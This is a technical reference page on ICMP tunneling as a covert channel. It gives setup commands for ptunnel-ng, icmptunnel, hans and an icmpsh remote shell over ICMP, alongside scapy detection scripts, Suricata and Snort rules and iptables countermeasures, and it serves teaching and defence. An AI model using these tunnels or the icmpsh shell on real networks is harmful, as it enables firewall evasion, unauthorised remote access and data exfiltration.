icmp tunneling

published: August 12, 2025

icmp tunneling exploits the data payload field in icmp echo request and reply packets (ping) to create covert communication channels. since icmp is often allowed for network diagnostics, it provides an effective bypass mechanism.

technical description

rfc 792 defines icmp echo messages with arbitrary data payloads. while intended for diagnostic purposes, this payload can carry any data:

  • echo request (type 8) and reply (type 0)
  • payload typically 32-56 bytes in normal ping
  • can extend up to mtu limit (~1472 bytes on ethernet)
  • sequence and identifier fields provide ordering

packet structure:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Code      |          Checksum             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Identifier          |        Sequence Number        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Data (covert channel payload)                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

implementation: ptunnel-ng

overview

ptunnel-ng (https://github.com/utoni/ptunnel-ng) provides tcp over icmp tunneling:

  • password protection
  • multiple simultaneous connections
  • automatic packet reassembly
  • works through nat
  • supports both ipv4 and ipv6

installation

# debian/ubuntu
apt install ptunnel-ng

# from source
git clone https://github.com/utoni/ptunnel-ng.git
cd ptunnel-ng
./autogen.sh
./configure
make
sudo make install

server setup

# basic server (run on publicly accessible host)
sudo ptunnel-ng

# with password
sudo ptunnel-ng -x secretpassword

# specify network interface
sudo ptunnel-ng -c eth0

# verbose mode
sudo ptunnel-ng -v 4

# daemon mode with log
sudo ptunnel-ng -daemon /var/log/ptunnel.log

client usage

# forward local port 8000 to remote ssh (22)
sudo ptunnel-ng -p server_ip -lp 8000 -da dest_ip -dp 22

# with password
sudo ptunnel-ng -p server_ip -lp 8000 -da dest_ip -dp 22 -x secretpassword

# use the tunnel
ssh -p 8000 localhost

# forward multiple ports
sudo ptunnel-ng -p server_ip -lp 8000 -da dest_ip -dp 22 &
sudo ptunnel-ng -p server_ip -lp 8080 -da dest_ip -dp 80 &

implementation: icmptunnel

overview

icmptunnel (https://github.com/dhavalkapil/icmptunnel) creates tun interfaces:

  • simpler than ptunnel
  • creates virtual network interface
  • routes all traffic through icmp
  • transparent to applications

setup

# clone and compile
git clone https://github.com/dhavalkapil/icmptunnel.git
cd icmptunnel
make

# server side
sudo ./icmptunnel -s
# assigns 10.0.0.1 to tun0

# client side
sudo ./icmptunnel -c server_ip
# assigns 10.0.0.2 to tun0

# route traffic through tunnel
sudo route add -net 192.168.0.0/24 gw 10.0.0.1

implementation: hans

overview

hans (https://github.com/friedrich/hans) implements ip over icmp:

  • designed for simplicity
  • automatic mtu discovery
  • built-in compression
  • supports multiple clients

usage

# server (runs on 10.1.2.1)
sudo hans -s 10.1.2.0 -p password -d

# client (gets 10.1.2.x)
sudo hans -c server_ip -p password

# verify connection
ping 10.1.2.1

traffic analysis

normal ping vs tunnel

from scapy.all import *

def analyze_icmp_tunnel(packet):
    if packet.haslayer(ICMP):
        if packet[ICMP].type == 8:  # echo request
            payload = packet[ICMP].payload

            # normal ping pattern
            normal_pattern = b'abcdefghijklmnopqrstuvwabcdefghi'

            # check for non-standard payload
            if len(bytes(payload)) > 56:
                print("large icmp payload detected")
            elif bytes(payload)[:32] != normal_pattern:
                print("non-standard icmp payload")

# capture and analyze
sniff(filter="icmp", prn=analyze_icmp_tunnel, count=100)

packet characteristics

# normal ping
ping -c 1 google.com
# 64 bytes total, 56 bytes data

# tunnel traffic
# varies: 100-1500 bytes typical
# high frequency
# bidirectional with matching identifiers

detection methods

behavioral indicators

  • unusually large icmp packets (>64 bytes)
  • high frequency icmp traffic between same hosts
  • non-standard payload patterns
  • equal request/reply ratios
  • consistent icmp identifiers

detection rules

# suricata rule
alert icmp any any -> any any (
    msg:"possible icmp tunnel - large payload";
    dsize:>100;
    threshold: type both, track by_src, count 10, seconds 60;
    sid:1000003;
)

# snort rule
alert icmp any any -> any any (
    msg:"icmp tunnel - suspicious payload pattern";
    content:!"abcdefghijklmnopqrstuvwabcdefghi";
    dsize:>56;
    sid:1000004;
)

statistical detection

def detect_icmp_tunnel(packets):
    icmp_stats = {}

    for p in packets:
        if p.haslayer(ICMP):
            src = p[IP].src
            dst = p[IP].dst
            key = f"{src}-{dst}"

            if key not in icmp_stats:
                icmp_stats[key] = {
                    'count': 0,
                    'sizes': [],
                    'intervals': []
                }

            icmp_stats[key]['count'] += 1
            icmp_stats[key]['sizes'].append(len(p))

    # detect anomalies
    for key, stats in icmp_stats.items():
        if stats['count'] > 100:  # high frequency
            avg_size = sum(stats['sizes']) / len(stats['sizes'])
            if avg_size > 100:  # large packets
                print(f"possible tunnel: {key}")

countermeasures

firewall rules

# block icmp entirely (breaks ping)
iptables -A INPUT -p icmp -j DROP
iptables -A OUTPUT -p icmp -j DROP

# rate limit icmp
iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 2 -j ACCEPT
iptables -A INPUT -p icmp -j DROP

# limit icmp packet size
iptables -A INPUT -p icmp -m length --length 100:65535 -j DROP

icmp payload inspection

# netfilter inspection module concept
def inspect_icmp_payload(packet):
    if packet.haslayer(ICMP):
        payload = bytes(packet[ICMP].payload)

        # check for encrypted/compressed data
        entropy = calculate_entropy(payload)
        if entropy > 7.5:  # high entropy suggests encryption
            return "BLOCK"

        # check for known patterns
        if payload.startswith(b'PTUN'):  # ptunnel signature
            return "BLOCK"

    return "ALLOW"

performance characteristics

bandwidth

  • theoretical: up to network speed
  • practical: 100 kbps - 2 mbps typical
  • factors: packet size, network latency, filtering

latency

  • adds 10-50ms overhead
  • increases with packet loss
  • nat traversal adds complexity

reliability

  • no built-in retransmission in icmp
  • tunnel implementations add tcp-like features
  • packet reordering handled by tunnel protocol

advantages and limitations

advantages

  • icmp rarely completely blocked
  • works through many firewalls
  • nat traversal possible
  • simple protocol
  • cross-platform support

limitations

  • easily detected with proper monitoring
  • some networks block large icmp packets
  • performance varies significantly
  • may trigger ids/ips alerts
  • unreliable without tcp layer

real-world usage

documented cases

  • 2016: apt groups using icmp tunnels
  • 2017: cryptocurrency mining via icmp
  • 2019: data exfiltration campaigns

malware families

  • pingback: icmp-based backdoor
  • htran: includes icmp tunnel capability
  • bouncer: multi-protocol tunnel including icmp

testing setup

local testing

# create network namespace for testing
ip netns add test_ns
ip link add veth0 type veth peer name veth1
ip link set veth1 netns test_ns

# configure interfaces
ip addr add 192.168.100.1/24 dev veth0
ip link set veth0 up
ip netns exec test_ns ip addr add 192.168.100.2/24 dev veth1
ip netns exec test_ns ip link set veth1 up

# run ptunnel server
ptunnel-ng

# test from namespace
ip netns exec test_ns ptunnel-ng -p 192.168.100.1 -lp 8000 -da 127.0.0.1 -dp 22

# monitor traffic
tcpdump -i veth0 -w icmp_tunnel.pcap icmp

performance testing

# bandwidth test through tunnel
# server side
iperf3 -s

# client side (through tunnel)
iperf3 -c 10.0.0.1 -t 60

# compare with direct connection
iperf3 -c server_direct_ip -t 60

alternative implementations

icmpsh

windows-compatible shell over icmp:

# server (linux)
python icmpsh_m.py source_ip dest_ip

# client (windows)
icmpsh.exe -t source_ip

additional tools

  • skeeve: golang icmp tunnel
  • itun: improved icmp tunneling
  • pingtunnel: original implementation (deprecated)

references

  • rfc 792: internet control message protocol
  • “firewall piercing using icmp tunneling” - phrack magazine
  • “detecting icmp tunneling” - sans institute
  • “covert channels in the tcp/ip protocol suite” - first monday
  • ptunnel-ng documentation: https://github.com/utoni/ptunnel-ng/wiki
on this page